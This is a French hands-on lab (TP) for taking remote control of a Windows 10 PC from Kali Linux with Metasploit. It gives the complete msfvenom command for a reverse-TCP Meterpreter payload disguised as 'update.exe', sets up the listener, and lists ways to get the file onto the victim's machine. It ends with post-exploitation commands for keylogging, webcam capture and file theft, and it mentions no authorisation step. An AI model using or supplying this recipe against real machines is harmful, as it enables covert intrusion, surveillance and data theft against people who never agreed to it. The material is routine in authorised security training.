TP : Prise de contrôle d'un PC Windows 10 depuis Kali avec Metasploit (port 1234)

Objectif :

Apprendre à :

- Générer un programme malveillant (payload)
- L'utiliser pour créer une connexion inversée (reverse shell)
- Prendre le contrôle total d'un PC Windows 10
- Exécuter des commandes à distance avec Meterpreter

Matériel nécessaire :

Machine	OS	Détails
Attaquant	Kali Linux	Avec Metasploit installé
Victime	Windows 10	Dans le même réseau que Kali
Adresse IP Attaquant	192.168.1.119	(à adapter selon ton réseau)
Port utilisé	1234	(ou autre, mais même sur Kali + payload)

Étapes du TP

Étape 1 – Générer le programme malveillant avec `msfvenom`

Sur Kali, ouvre un terminal et tape :

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.119
LPORT=1234 -f exe -o update.exe
```

Explication :

Option	Signification
`-p`	Type de payload (ici Windows avec Meterpreter)
`windows/meterpreter/reverse_tcp`	Le shell se connecte à Kali depuis Windows
`LHOST=192.168.1.119`	IP de Kali (attaquant)
`LPORT=1234`	Port que Kali va écouter
`-f exe`	Format du fichier généré (exécutable Windows)
`-o update.exe`	Nom du fichier malveillant généré

Tu auras un fichier `update.exe` dans le dossier courant.

Étape 2 – Démarrer Metasploit et le listener (Handler)

Toujours sur Kali :

```
msfconsole
```

Puis :

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.119
set LPORT 1234
exploit
```

Explication des commandes :

Commande	Description
`use exploit/multi/handler`	Démarre un gestionnaire d'écoute
`set payload ...`	Définit le type de payload à écouter
`set LHOST ...`	IP de Kali (doit correspondre à celle du payload)
`set LPORT ...`	Port d'écoute (doit correspondre au payload)
`exploit`	Lance l'écoute sur le port 1234

Tu verras un message : `[*] Started reverse TCP handler on 192.168.1.119:1234`

Étape 3 – Exécuter le malware sur Windows

1. Copie le fichier `update.exe` sur la machine Windows 10.
   - via clé USB
   - via partage réseau
   - ou via Netcat, Python, etc.
2. **Double-clique sur `update.exe` sur le poste Windows.**

Étape 4 – Obtenir un accès à distance (shell Meterpreter)

Une fois le fichier exécuté :

Kali va afficher :

```
[*] Meterpreter session 1 opened ...
```

Tape maintenant :

```
sessions
sessions -i 1
```

Tu es dans le shell **Meterpreter**
Tu contrôles à distance le poste Windows.

Étape 5 – Commandes utiles dans Meterpreter

Commande	Effet
`sysinfo`	Infos système (nom, OS, etc.)
`getuid`	Affiche l'utilisateur courant
`shell`	Lance un shell Windows (cmd.exe)
`screenshot`	Prend une capture d'écran
`webcam_snap`	Prend une photo avec webcam
`webcam_stream`	Stream vidéo de la webcam
`keyscan_start`	Démarre enregistreur de frappes
`keyscan_dump`	Affiche les frappes capturées
`upload fichier.txt C:\\Users\\Nom\\Desktop\\`	Envoie un fichier vers Windows
`download C:\\path\\fichier.txt`	Récupère un fichier depuis Windows
`execute -f notepad.exe`	Ouvre le Bloc-notes

Étape 6 – Fermer proprement la session

Tape :

```
exit
```

ou

```
background
sessions -K
```

Bref :

Étape	Action
1	Générer un malware avec `msfvenom`
2	Lancer un listener dans Metasploit
3	Exécuter le programme sur la machine Windows
4	Recevoir une session Meterpreter
5	Prendre le contrôle (commandes à distance)